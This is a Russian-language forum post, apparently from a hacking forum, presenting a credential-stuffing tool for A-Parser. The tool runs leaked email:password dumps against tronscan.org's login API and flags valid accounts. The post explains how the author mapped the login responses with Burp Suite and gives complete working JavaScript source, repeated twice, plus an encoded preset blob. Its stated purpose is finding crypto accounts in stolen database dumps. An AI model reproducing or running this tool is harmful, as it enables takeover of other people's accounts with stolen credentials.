Пожалуйста, обратите внимание, что пользователь заблокирован
Автор student / мой_телеграмм_канал
Источник: https://xss.pro
BruteForce tronscan.org написанный на JavaScript.
Это мой авторский проект написанный полностью на JavaScript на движке A-Parser. Многие участвуют в конкурсе и выкладывают просто проект и пояснение, а я вам хочу рассказать как создавался этот проект. Пользоваться им довольно легко. Запускаем A-Parser, импортируем пресет, загружаем файл в котором хранятся email:password, запускаем. Инструкция ниже
Всё. Этого достаточно чтобы начать с ним работать.
Для чего нужен этот проект
Если вы хоть раз работали в дампами базы данных в формате email:pass, то сталкивались с тем, что они не имеют никакого отношения к криптовалюте или любой другой тематике, которая вам нужна. Можно конечно взять все это дело выкинуть, а можно миллионные строки проверить на регистрацию на популярных крипто проектах. Я выбрал проект tronscan.org потому что он очень популярен и каждый из вас о нем слышал. Написать проект на него совсем несложно, потому что нет капчи, какой либо другой защиты и все предельно понятно.
Предыстория
Тут и начинается самое интересное. Когда я работал с большим объемом дампов(это было очень давно), в то время я еще учился в школе, готовился к поступлению в вуз. У меня были проекты с капчой, всякие биржи, заметки и тому подобное. Я не мог к примеру 10 миллионов email:pass поставить брутиться, тут дело не только в ресурсах, дак еще таким образом можно уничтожить таргет. Администратор заподозрит неладное и включит дополнительную проверку, поставит капчу, ограничит попытки входа в учетную запись. Да, бывало такое, что если в одну учетную запись заходить более 5 раз с неверным паролем, то прилетал бан. Я стал думать как заточить дампы. Мой на тот момент товарищ Barracuda555 с другого форума (если читаешь статью привет). Предложил использовать булку(openbullet - это проект с открытым исходным кодом, на нем удобно создавать брутфорсеры) и tronscan.org. Я запустил этот проект и понял, что скорость неплохая, дак еще гуды сыпятся. И решил это дело переписать на A-Parser.
Создаем проект
Вот мы и подошли к основной части. Создание проекта. Раньше люди, которые писали брутфорсеры, регчекеры, ретриверы были очень востребованы на тематических форумах. Не знаю как сейчас. Салют MonacoDeveloper. До сих пор задаюсь вопросом куда пропал Jeka Vain. Интересно, есть кто помнят?
И так ближе к делу. У нас есть проект tronscan.org. Я знал что у него есть API и документация. https://docs.tronscan.org/getting-started/api-keys я ознакомился с ней, но не нашел ничего связанного с авторизацией. Зато нашел rate limits. И понял, что если фаззить эндпоинты, то это будет очень долго, либо надо использовать прокси. Потом я отбросил эту идею и понял, что я жестко туплю. Ведь я даже не попробовал авторизоваться и посмотреть проходящие запросы. Ну что же. Время создавать учетку и перехватывать запросы.
Тут мы видим всплывающее окно, которое говорит нам, что нужно подтвердить учетную запись. Значит мы можем сделать вывод, что существую следующие виды аккаунтов:
1. Несуществующий аккаунт
User does not exist, please register first
2. Неподтвержденный аккаунт
3. Неверный пароль
4. Неверный формат email
Теперь запускаем Burp Suite, чтобы посмотреть как работает все это дело изнутри. Включаем перехватчик и жмем кнопку Log in
Вот видим эндпоинт. Жмем FORWARD.
Вот так передаются данные
Ctrl+a и Ctrl+r (отправляем в repeater)
Теперь попробуем ввести другой email замето jekavain2@gmail.com и отправить. С целью посмотреть что изменится.
retMsg отображает ошибку
Нам нужно просто сохранить содержимое ключа "retMsg". Для всех типов
user not exist
email registered but not activated
SUCCESS
illegal email
incorrect password
При написании скрипта будем использовать строгий режим. Что это такое? Так-то говорящее название, но по сути это режим, когда видны все недочеты разработчика и они выводятся на экран, например нельзя использовать зарезервированные слова, нельзя использовать переменную, если не определить тип, избавляемся таким образом от тихих ошибок и повышаем безопасность. Чтоб его использовать достаточно в начале скрипта написать 'use strict';
Приступаем писать первый блок
Что тут происходит если кратко говорить. Создается функция parse, которая содержит set, results. query - это наш запрос email:pass, он разделяется по : в две переменные email и password. Если не получается разделить и получить email или пароль, то ошибка. body содержит в json формате email и пароль. Далее отправляется запрос на api c заголовком Content-Type: application/json и с телом body(содержит email и пароль). Думаю тут все понятно.
data содержит в себе ответ от сервера в формате json. Далее мы преобразовываем data в строку. И парсим сообщение и сохраняем как json. Создаем переменную status, которая хранит сообщение ответ от сервера.
Далее идет блок с условиями. Используется метод case.
Вывод результата. email:pass | status(сообщение из retMsg, только мы его переделали для удобства вместо SUCCESS например GOOD)
Проверяем все ли работает. Также не забываем удалить status, который содержит regex User does not exist, please register first|Invalid email format
по дефолту в A-Parser нет фильтра по статусу. Мы его сами создали вот тут:
Надеюсь мой проект вам принесет пользу!
Исходник:
Источник: https://xss.pro
BruteForce tronscan.org написанный на JavaScript.
Это мой авторский проект написанный полностью на JavaScript на движке A-Parser. Многие участвуют в конкурсе и выкладывают просто проект и пояснение, а я вам хочу рассказать как создавался этот проект. Пользоваться им довольно легко. Запускаем A-Parser, импортируем пресет, загружаем файл в котором хранятся email:password, запускаем. Инструкция ниже
Код:
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
Ggf+rwoz8Vru3urf2fPlRg==
Всё. Этого достаточно чтобы начать с ним работать.
Для чего нужен этот проект
Если вы хоть раз работали в дампами базы данных в формате email:pass, то сталкивались с тем, что они не имеют никакого отношения к криптовалюте или любой другой тематике, которая вам нужна. Можно конечно взять все это дело выкинуть, а можно миллионные строки проверить на регистрацию на популярных крипто проектах. Я выбрал проект tronscan.org потому что он очень популярен и каждый из вас о нем слышал. Написать проект на него совсем несложно, потому что нет капчи, какой либо другой защиты и все предельно понятно.
Предыстория
Тут и начинается самое интересное. Когда я работал с большим объемом дампов(это было очень давно), в то время я еще учился в школе, готовился к поступлению в вуз. У меня были проекты с капчой, всякие биржи, заметки и тому подобное. Я не мог к примеру 10 миллионов email:pass поставить брутиться, тут дело не только в ресурсах, дак еще таким образом можно уничтожить таргет. Администратор заподозрит неладное и включит дополнительную проверку, поставит капчу, ограничит попытки входа в учетную запись. Да, бывало такое, что если в одну учетную запись заходить более 5 раз с неверным паролем, то прилетал бан. Я стал думать как заточить дампы. Мой на тот момент товарищ Barracuda555 с другого форума (если читаешь статью привет). Предложил использовать булку(openbullet - это проект с открытым исходным кодом, на нем удобно создавать брутфорсеры) и tronscan.org. Я запустил этот проект и понял, что скорость неплохая, дак еще гуды сыпятся. И решил это дело переписать на A-Parser.
Создаем проект
Вот мы и подошли к основной части. Создание проекта. Раньше люди, которые писали брутфорсеры, регчекеры, ретриверы были очень востребованы на тематических форумах. Не знаю как сейчас. Салют MonacoDeveloper. До сих пор задаюсь вопросом куда пропал Jeka Vain. Интересно, есть кто помнят?
И так ближе к делу. У нас есть проект tronscan.org. Я знал что у него есть API и документация. https://docs.tronscan.org/getting-started/api-keys я ознакомился с ней, но не нашел ничего связанного с авторизацией. Зато нашел rate limits. И понял, что если фаззить эндпоинты, то это будет очень долго, либо надо использовать прокси. Потом я отбросил эту идею и понял, что я жестко туплю. Ведь я даже не попробовал авторизоваться и посмотреть проходящие запросы. Ну что же. Время создавать учетку и перехватывать запросы.
Тут мы видим всплывающее окно, которое говорит нам, что нужно подтвердить учетную запись. Значит мы можем сделать вывод, что существую следующие виды аккаунтов:
1. Несуществующий аккаунт
User does not exist, please register first
2. Неподтвержденный аккаунт
3. Неверный пароль
4. Неверный формат email
Теперь запускаем Burp Suite, чтобы посмотреть как работает все это дело изнутри. Включаем перехватчик и жмем кнопку Log in
Вот видим эндпоинт. Жмем FORWARD.
Вот так передаются данные
Ctrl+a и Ctrl+r (отправляем в repeater)
Теперь попробуем ввести другой email замето jekavain2@gmail.com и отправить. С целью посмотреть что изменится.
retMsg отображает ошибку
Нам нужно просто сохранить содержимое ключа "retMsg". Для всех типов
user not exist
email registered but not activated
SUCCESS
illegal email
incorrect password
При написании скрипта будем использовать строгий режим. Что это такое? Так-то говорящее название, но по сути это режим, когда видны все недочеты разработчика и они выводятся на экран, например нельзя использовать зарезервированные слова, нельзя использовать переменную, если не определить тип, избавляемся таким образом от тихих ошибок и повышаем безопасность. Чтоб его использовать достаточно в начале скрипта написать 'use strict';
Приступаем писать первый блок
JavaScript:
'use strict';
var aParserTypes = require('a-parser-types');
class JS_Order_3913 extends aParserTypes.BaseParser {
async parse(set, results) {
try {
const [email, password] = set.query.split(this.conf.separator);
if (!email || !password) {
throw new Error(`No email or password, probably wrong with separator ${this.conf.separator}`);
}
const body = {
email,
password
};
let { success, data } = await this.request('POST', 'https://apilist.tronscan.org/external/user/login', {}, {
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(body)
});
Что тут происходит если кратко говорить. Создается функция parse, которая содержит set, results. query - это наш запрос email:pass, он разделяется по : в две переменные email и password. Если не получается разделить и получить email или пароль, то ошибка. body содержит в json формате email и пароль. Далее отправляется запрос на api c заголовком Content-Type: application/json и с телом body(содержит email и пароль). Думаю тут все понятно.
JavaScript:
data = data.toString();
if (!success) {
throw new Error(`No data can be retrieved from the ${set.query}`);
}
const json = JSON.parse(data);
let status = json.retMsg[0];
Далее идет блок с условиями. Используется метод case.
JavaScript:
switch (status) {
case 'email registered but not activated':
status = 'User is not activated, please activate or re-register';
break;
case 'incorrect password':
status = 'Incorrect password';
break;
case 'SUCCESS':
status = 'GOOD';
break;
case 'illegal email':
status = 'Invalid email format';
break;
case 'user not exist':
status = 'User does not exist, please register first';
break;
default:
this.logger.put(`Unprocessed status: ${status}`);
}
results.status = status;
results.success = success;
return results;
}
catch (e) {
this.logger.put(e.message);
results.success = 0;
return results;
}
}
}
JavaScript:
JS_Order_3913.defaultConf = {
version: '0.0.2',
results: {
flat: [
['status', 'Account status'],
]
},
max_size: 2 * 1024 * 1024,
parsecodes: {
200: 1,
},
results_format: "$query | $status\\n",
separator: ':'
};
JS_Order_3913.editableConf = [
['separator', ['textfield', 'Login-password separator']]
];
exports.JS_Order_3913 = JS_Order_3913;
по дефолту в A-Parser нет фильтра по статусу. Мы его сами создали вот тут:
JavaScript:
flat: [
['status', 'Account status'],
]
Надеюсь мой проект вам принесет пользу!
Исходник:
JavaScript:
'use strict';
var aParserTypes = require('a-parser-types');
class JS_Order_3913 extends aParserTypes.BaseParser {
async parse(set, results) {
try {
const [email, password] = set.query.split(this.conf.separator);
if (!email || !password) {
throw new Error(`No email or password, probably wrong with separator ${this.conf.separator}`);
}
const body = {
email,
password
};
let { success, data } = await this.request('POST', 'https://apilist.tronscan.org/external/user/login', {}, {
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(body)
});
data = data.toString();
if (!success) {
throw new Error(`No data can be retrieved from the ${set.query}`);
}
const json = JSON.parse(data);
let status = json.retMsg[0];
switch (status) {
case 'email registered but not activated':
status = 'User is not activated, please activate or re-register';
break;
case 'incorrect password':
status = 'Incorrect password';
break;
case 'SUCCESS':
status = 'GOOD';
break;
case 'illegal email':
status = 'Invalid email format';
break;
case 'user not exist':
status = 'User does not exist, please register first';
break;
default:
this.logger.put(`Unprocessed status: ${status}`);
}
results.status = status;
results.success = success;
return results;
}
catch (e) {
this.logger.put(e.message);
results.success = 0;
return results;
}
}
}
JS_Order_3913.defaultConf = {
version: '0.0.2',
results: {
flat: [
['status', 'Account status'],
]
},
max_size: 2 * 1024 * 1024,
parsecodes: {
200: 1,
},
results_format: "$query | $status\\n",
separator: ':'
};
JS_Order_3913.editableConf = [
['separator', ['textfield', 'Login-password separator']]
];
exports.JS_Order_3913 = JS_Order_3913;